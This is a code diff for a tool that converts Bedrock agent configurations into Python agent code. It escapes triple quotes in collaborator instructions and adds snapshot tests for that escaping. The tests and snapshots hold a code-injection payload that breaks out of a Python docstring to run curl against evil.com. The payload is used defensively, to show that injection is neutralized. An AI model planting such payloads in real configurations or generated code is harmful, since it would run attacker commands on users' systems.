diff --git a/src/cli/operations/agent/import/__tests__/__snapshots__/translator.test.ts.snap b/src/cli/operations/agent/import/__tests__/__snapshots__/translator.test.ts.snap new file mode 100644 index 000000000..cb775b77e --- /dev/null +++ b/src/cli/operations/agent/import/__tests__/__snapshots__/translator.test.ts.snap @@ -0,0 +1,43 @@ +// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html + +exports[`LangGraphTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = ` +"@tool +def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\" +import subprocess; subprocess.run(["curl","evil.com"]) +\\"\\"\\"'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)]) + return invoke_agent_response" +`; + +exports[`LangGraphTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = ` +"@tool +def invoke_collab(query: str, state: Annotated[dict, InjectedState]) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + tools_used.update([msg.name for msg in invoke_agent_response if isinstance(msg, ToolMessage)]) + return invoke_agent_response" +`; + +exports[`StrandsTranslator - collaborationInstruction injection safety > neutralizes triple-quote injection in collaborationInstruction 1`] = ` +"@tool +def invoke_collab(query: str) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': '\\"\\"\\" +import subprocess; subprocess.run(["curl","evil.com"]) +\\"\\"\\"'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + return invoke_agent_response" +`; + +exports[`StrandsTranslator - collaborationInstruction injection safety > preserves backslashes in collaborationInstruction without doubling 1`] = ` +"@tool +def invoke_collab(query: str) -> str: + """Invoke the collaborator agent/specialist with the following description: {'agentName': 'collab-agent', 'collaboratorName': 'invoke_collab', 'collaboratorInstruction': 'C:\\\\path\\\\to\\\\file and regex \\\\d+'}""" + + invoke_agent_response = invoke_collab_collaborator(query) + return invoke_agent_response" +`; diff --git a/src/cli/operations/agent/import/__tests__/translator.test.ts b/src/cli/operations/agent/import/__tests__/translator.test.ts index c3725ac6d..5090ebbd6 100644 --- a/src/cli/operations/agent/import/__tests__/translator.test.ts +++ b/src/cli/operations/agent/import/__tests__/translator.test.ts @@ -172,6 +172,88 @@ describe('StrandsTranslator', () => { }); }); +function makeCollaboratorConfig(collaborationInstruction: string): BedrockAgentConfig { + const collaboratorAgentConfig = makeSimpleAgentConfig(); + return makeSimpleAgentConfig({ + agent: { + ...makeSimpleAgentConfig().agent, + agentCollaboration: 'SUPERVISOR_ROUTER', + }, + collaborators: [ + { + agent: { ...collaboratorAgentConfig.agent, agentName: 'collab-agent' }, + action_groups: [], + knowledge_bases: [], + collaborators: [], + collaboratorName: 'collab', + collaborationInstruction, + }, + ], + }); +} + +function extractToolFunction(mainPyContent: string): string { + const start = mainPyContent.indexOf('@tool'); + const end = mainPyContent.indexOf('\n\n\n', start); + return mainPyContent.slice(start, end); +} + +describe('StrandsTranslator - collaborationInstruction injection safety', () => { + it('neutralizes triple-quote injection in collaborationInstruction', () => { + const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""'; + const config = makeCollaboratorConfig(payload); + const translator = new StrandsTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); + }); + + it('preserves backslashes in collaborationInstruction without doubling', () => { + const payload = 'C:\\path\\to\\file and regex \\d+'; + const config = makeCollaboratorConfig(payload); + const translator = new StrandsTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); + }); +}); + +describe('LangGraphTranslator - collaborationInstruction injection safety', () => { + it('neutralizes triple-quote injection in collaborationInstruction', () => { + const payload = '"""\nimport subprocess; subprocess.run(["curl","evil.com"])\n"""'; + const config = makeCollaboratorConfig(payload); + const translator = new LangGraphTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); + }); + + it('preserves backslashes in collaborationInstruction without doubling', () => { + const payload = 'C:\\path\\to\\file and regex \\d+'; + const config = makeCollaboratorConfig(payload); + const translator = new LangGraphTranslator(config, { + agentConfig: config, + enableMemory: false, + memoryOption: 'none', + enableObservability: false, + }); + const { mainPyContent } = translator.translate(); + expect(extractToolFunction(mainPyContent)).toMatchSnapshot(); + }); +}); + describe('LangGraphTranslator', () => { it('generates valid LangChain/LangGraph Python code for a simple agent', () => { const config = makeSimpleAgentConfig(); diff --git a/src/cli/operations/agent/import/base-translator.ts b/src/cli/operations/agent/import/base-translator.ts index e92277054..daecb08f6 100644 --- a/src/cli/operations/agent/import/base-translator.ts +++ b/src/cli/operations/agent/import/base-translator.ts @@ -132,7 +132,7 @@ export abstract class BaseBedrockTranslator { this.isAcceptingRelays = collaboratorContext?.relayHistory === 'TO_COLLABORATOR'; this.collaboratorDescriptions = this.collaborators.map( c => - `{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePySingleQuote(c.collaborationInstruction ?? '')}'}` + `{'agentName': '${BaseBedrockTranslator.escapePySingleQuote(c.agent?.agentName ?? '')}', 'collaboratorName': 'invoke_${sanitizePyIdentifier(c.collaboratorName ?? '')}', 'collaboratorInstruction': '${BaseBedrockTranslator.escapePyTripleQuote(c.collaborationInstruction ?? '')}'}` ); this.collaboratorMap = new Map(this.collaborators.map(c => [c.collaboratorName ?? '', c]));